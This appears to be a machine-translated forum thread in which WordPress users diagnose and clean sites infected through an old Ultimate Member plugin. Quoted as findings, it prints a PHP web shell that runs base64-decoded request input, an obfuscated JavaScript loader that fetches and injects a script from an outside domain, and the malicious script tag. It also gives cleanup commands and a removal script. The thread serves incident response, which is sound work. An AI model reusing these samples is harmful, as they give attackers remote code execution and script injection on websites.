这似乎是由您可能正在使用的某些插件的漏洞引起的。
在我的情况下,它是Ultimate Member插件的旧版本(2.22之前)。
如果您使用的是此插件的2.22或更早版本,则应立即更新此插件,并清除临时文件。 (https://wordpress.org/support/topic/malicious-files-in-ultimate-members-plugin/)
之后,使用此命令搜索最近更新的文件。 (例如15天)
find ./ -type f -mtime -15
机会是您的WP jquery文件,任何名为“header”的文件都可能被感染。
/wp-includes/js/jquery/jquery.js
/wp-contents/your-theme/header.php
..
在受感染的头文件中删除以下脚本。
<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>
看起来这是在打开head标签之后和关闭head标签之前插入的。确保删除两者。
从受感染的Jquery文件中删除恶意插入的脚本,或者只使用其他WP Core安装中的干净文件替换该文件。
我认为这应该解决这个问题。
初步步骤:
/*! jQuery v1....
这样的注释删除该行之前的任何内容(你做了备份,对吧?)背景:
我们有同样的问题。 Wordfence注意到在服务器上修改了文件wp-includes / js / jquery / jquery.js。将其恢复到原始版本似乎解决了它。但是,文件很快就被感染了(几个小时?)。所以我们还不知道来源......
我们在/ wp-content / uploads / ultimatemember / temp / [random dir] /n.php中发现了一些可疑代码:
<?php file_put_contents('sdgsdfgsdg','<?php '.base64_decode($_REQUEST['q']));
include('sdgsdfgsdg'); unlink('sdgsdfgsdg'); ?>
这基本上执行来自外部的任何PHP代码......
删除这些文件后,该网站似乎恢复正常(几个小时)。
我们还注意到页面源中有一个可疑的<a>
标记;但不确定其相关性。
<a class="html-attribute-value html-resource-link" target="_blank"
href="https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4"
rel="noreferrer noopener">https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4</a>
您将不得不进行一些故障排除。它是您的主题或包含恶意代码的插件之一。
跟着这些步骤:
TwentySeventeen
这样的默认主题 - 如果问题仍然存在,则表示它不是您的主题。希望这可以帮助。
在我的情况下,jquery文件被感染了。只需在/ *之前删除代码! jQuery v1.12.4 | (c)jQuery Foundation | jquery.org/license * /并确保所有插件都已更新且网站安全。还要取消文件的权限!在我的情况下,这对我有帮助
我们有同样的错误,这些文件被感染了。这是我在其中发现的恶意代码。
WP-包括/ JS / jquery的/的jquery.js
(function() { "use strict"; var _0xa8bd=["\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x72\x63\x2E\x65\x65\x64\x75\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2E\x63\x6F\x6D\x2F\x67\x65\x74\x2E\x70\x68\x70","\x6E\x75\x6C\x6C","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64"];function httpGet(_0xc4ecx2){var _0xc4ecx3= new XMLHttpRequest();_0xc4ecx3[_0xa8bd[1]](_0xa8bd[0],_0xc4ecx2,false);_0xc4ecx3[_0xa8bd[2]](null);return _0xc4ecx3[_0xa8bd[3]]}var curdomain=_0xa8bd[4];var newlink=httpGet(curdomain);if(newlink!= _0xa8bd[5]){(function(){var _0xc4ecx6=document[_0xa8bd[7]](_0xa8bd[6]);_0xc4ecx6[_0xa8bd[8]]= _0xa8bd[9];_0xc4ecx6[_0xa8bd[10]]= true;_0xc4ecx6[_0xa8bd[11]]= newlink;document[_0xa8bd[13]][_0xa8bd[12]](_0xc4ecx6)})()} })();
主题/ yourtheme / header.php文件
<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>
这是我在运行securi扫描仪后发现的。希望这有助于某人,因为这是一个令人讨厌的人。在我的情况下,似乎影响以下文件:
无论它是什么似乎已经在我的wp-includes目录上使用了ham。我确实运行了Ultimate Member插件,我注意到之前有人提到过这个插件的早期版本存在漏洞。我运行一个多站点网络,并且还注意到我的子站点上的两个注册表单具有默认角色Administrator(哪个插件供应商会发现安全作为默认注册选项?)并启用了自动批准选项(没有验证电子邮件)。显然,在网络环境中激活此插件需要对这些注册和登录表单进行一些额外的彻底审查。
有同样的问题。 jquery被感染,必须用原始版本替换。黑客可能使用ultimatemember后门来上传一个php文件并执行它。我不得不清理插件临时目录。
另一个观察是黑客强制修改jquery加载脚本,该地址是从http://src.eeduelements.com/get.php加载的。这使他们可以灵活地旋转广告。
sudo grep --include=\*.php -rnw . -e "<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>"
以下这个答案帮助我清理我的文件。它影响了我的所有网站,但现在似乎仍然坚持拥有最终成员的网站。仍在努力。这个Php脚本虽然令人难以置信。非常感谢作家。
PHP/SSH regex script/command to delete identical malware code from many files
这是来自上面答案的php。我刚刚将查找部分换成了重定向到yetill的恶意内容。
<?php
//Enter it as it is and escape any single quotes
$find='<script type=\'text/javascript\' src=\'https://cdn.eeduelements.com/jquery.js?ver=1.0.8\'></script>';
echo findString('./',$find);
function findString($path,$find){
$return='';
ob_start();
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if(is_dir($path.'/'.$file)){
$sub=findString($path.'/'.$file,$find);
if(isset($sub)){
echo $sub.PHP_EOL;
}
}else{
$ext=substr(strtolower($file),-3);
if($ext=='php'){
$filesource=file_get_contents($path.'/'.$file);
$pos = strpos($filesource, $find);
if ($pos === false) {
continue;
} else {
//The cleaning bit
echo "The string '".htmlentities($find)."' was found in the file '$path/$file and exists at position $pos and has been removed from the source file.<br />";
$clean_source = str_replace($find,'',$filesource);
file_put_contents($path.'/'.$file,$clean_source);
}
}else{
continue;
}
}
}
}
closedir($handle);
}
$return = ob_get_contents();
ob_end_clean();
return $return;
}
?>